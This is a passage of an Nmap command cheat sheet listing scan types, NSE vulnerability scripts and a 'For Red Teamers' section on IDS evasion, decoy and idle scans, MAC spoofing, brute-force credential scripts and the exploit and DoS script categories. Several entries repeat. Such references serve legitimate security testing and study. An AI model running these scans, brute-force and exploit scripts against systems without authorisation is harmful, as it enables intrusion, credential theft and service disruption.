`nmap --script=dns-cache-snoop <target>`	Check DNS cache snooping vulnerabilities.
`nmap --script=http-stored-xss <target>`	Check for stored XSS vulnerabilities.
`nmap --script=ssl-enum-ciphers <target>`	Enumerate SSL/TLS cipher suites.
`nmap --script=http-robots.txt <target>`	Retrieve and analyze robots.txt files.
`nmap --script=http-sitemap-generator <target>`	Generate sitemaps for web applications.
`nmap -PE <target>`	Use ICMP echo requests for host discovery.
`nmap -PR <target>`	Use ARP requests for host discovery on local networks.
`nmap --script=http-waf-detect <target>`	Detect Web Application Firewalls.

`nmap --randomize-hosts <target>`	Randomize the order of hosts scanned.
`nmap --min-hostgroup <number> <target>`	Set minimum number of hosts in a scan group.
`nmap --max-hostgroup <number> <target>`	Set maximum number of hosts in a scan group.
`nmap --min-parallelism <number> <target>`	Set the minimum number of parallel probes.
`nmap --max-parallelism <number> <target>`	Set the maximum number of parallel probes.
`nmap -sW <target>`	Perform a TCP Window scan.
`nmap -sM <target>`	Perform a TCP Maimon scan.
`nmap -sZ <target>`	Perform an SCTP COOKIE ECHO scan.
`nmap --unprivileged <target>`	Run Nmap in unprivileged mode.
`nmap --send-ip <target>`	Use raw IP packets instead of higher-level protocols.
`nmap --disable-arp-ping <target>`	Disable ARP ping during host discovery.
`nmap --ip-options <options> <target>`	Use specific IP options in packets.
`nmap --script=smb-vuln-ms08-067 <target>`	Check for SMB vulnerabilities like MS08-067.
`nmap --script=http-sql-injection <target>`	Detect SQL injection vulnerabilities.
`nmap --script=http-userdir-enum <target>`	Enumerate user directories on HTTP servers.
`nmap --script=http-shellshock <target>`	Check for Shellshock vulnerability.
`nmap --script=mysql-empty-password <target>`	Check for empty password vulnerabilities in MySQL.

6.3. FOR RED TEAMERS

Nmap Command	Description
`nmap -sS -T0 <target>`	**Stealth SYN Scan with Slow Timing**: Performs a SYN scan with the slowest timing template to minimize detection.
`nmap -sN -T0 <target>`	**Null Scan with Slow Timing**: Sends packets with no flags set, attempting to bypass certain firewalls and packet filters.
`nmap -sF -T0 <target>`	**FIN Scan with Slow Timing**: Sends packets with only the FIN flag set, useful for evading some intrusion detection systems.
`nmap -sX -T0 <target>`	**Xmas Scan with Slow Timing**: Sends packets with FIN, PSH, and URG flags set, aiming to exploit specific TCP stack behaviors.
`nmap -sI <zombie_ip> <target>`	**Idle Scan**: Utilizes a third-party host to send packets, masking the attacker's IP address.
`nmap -D RND:10 <target>`	**Decoy Scan**: Generates traffic from multiple spoofed IP addresses to obfuscate the true source of the scan.
`nmap -f <target>`	**Fragmentation Scan**: Sends fragmented packets to evade packet inspection by splitting the payload.
`nmap --data-length 50 <target>`	**Custom Packet Length**: Appends additional data to packets to alter their size, potentially bypassing security filters.
`nmap --spoof-mac 00:11:22:33:44:55 <target>`	**MAC Address Spoofing**: Changes the source MAC address of the scanning system to the specified address.
`nmap --badsum <target>`	**Bad Checksum Scan**: Sends packets with incorrect checksums; non-compliant TCP/IP

	stack systems may respond, aiding in detection.
`nmap --script firewall-bypass <target>`	**Firewall Bypass Script**: Attempts to detect and exploit firewall rule misconfigurations.
`nmap --script smb-vuln-* <target>`	**SMB Vulnerability Scripts**: Executes a suite of scripts targeting SMB vulnerabilities, such as `smb-vuln-ms17-010`.
`nmap --script http-sql-injection <target>`	**HTTP SQL Injection Script**: Scans for SQL injection vulnerabilities in web applications.
`nmap --script http-brute <target>`	**HTTP Brute Force Script**: Performs brute force password auditing against HTTP authentication.
`nmap --script ftp-anon,ftp-brute <target>`	**FTP Anonymous and Brute Force Scripts**: Checks for anonymous FTP access and attempts brute force login.
`nmap --script ssh-brute <target>`	**SSH Brute Force Script**: Attempts to guess SSH login credentials through brute force.
`nmap --script dns-zone-transfer <target>`	**DNS Zone Transfer Script**: Attempts to perform a DNS zone transfer to retrieve all DNS records for a domain.
`nmap --script snmp-brute <target>`	**SNMP Brute Force Script**: Attempts to guess SNMP community strings through brute force.
`nmap --script ipidseq <target>`	**IPID Sequence Prediction Script**: Checks for predictable IPID sequences, which can be useful for idle scans.
`nmap --script broadcast-ping <target>`	**Network Discovery Script**: Sends broadcast pings on a network to discover active hosts.
`nmap --script vuln <target>`	**Vulnerability Scan**: Runs a suite of vulnerability detection scripts against the target.
`nmap --script exploit <target>`	**Exploitation Scripts**: Executes available exploit scripts against the target.

`nmap --script backdoor <target>`	**Backdoor Detection Scripts**: Scans for known backdoors on the target system.
`nmap --script malware <target>`	**Malware Detection Scripts**: Checks for indications of malware infections on the target.
`nmap --script external <target>`	**External Information Gathering Scripts**: Leverages external sources to gather information about the target.
`nmap --script discovery <target>`	**Discovery Scripts**: Runs scripts aimed at discovering additional information about the network or host.
`nmap --script intrusive <target>`	**Intrusive Scripts**: Executes scripts that may be disruptive or cause service interruptions; use with caution.
`nmap --script safe <target>`	**Safe Scripts**: Runs scripts deemed safe and unlikely to cause disruptions.
`nmap --script dos <target>`	**Denial of Service Scripts**: Attempts to identify or exploit denial of service vulnerabilities; use with extreme caution.
`nmap --script auth <target>`	**Authentication Bypass Scripts**: Checks for authentication bypass vulnerabilities.
`nmap --script broadcast <target>`	**Broadcast Scripts**: Sends broadcast packets to discover hosts and services on a network.
`nmap --script brute <target>`	**Brute Force Scripts**: Performs brute force password auditing against various services.
`nmap --script default <target>`	**Default Scripts**: Runs a basic set of scripts considered useful for general reconnaissance.
`nmap --script discovery <target>`	**Discovery Scripts**: Gathers information about the target, such as open ports and services.
`nmap --script dos <target>`	**Denial of Service Scripts**: Tests for DoS vulnerabilities; can be disruptive.

`nmap --script exploit <target>`	**Exploitation Scripts**: Attempts to exploit vulnerabilities on the target.
`nmap --script external <target>`	**External Information Gathering Scripts**: Uses third-party services to gather information about the target.
`nmap --script fuzzer <target>`	**Fuzzing Scripts**: Sends unexpected or random data to services to identify potential vulnerabilities.
`nmap --script intrusive <target>`	**Intrusive Scripts**: Runs scripts that may have adverse effects; use with caution.
`nmap --script malware <target>`	**Malware Detection Scripts**: Checks for signs of malware on the target system.
`nmap --script safe <target>`	**Safe Scripts**: Executes non-intrusive scripts unlikely to cause harm.
`nmap --script version <target>`	**Version Detection Scripts**: Determines service versions running on open ports.
`nmap --script vuln <target>`	**Vulnerability Detection Scripts**: Identifies known vulnerabilities on the target.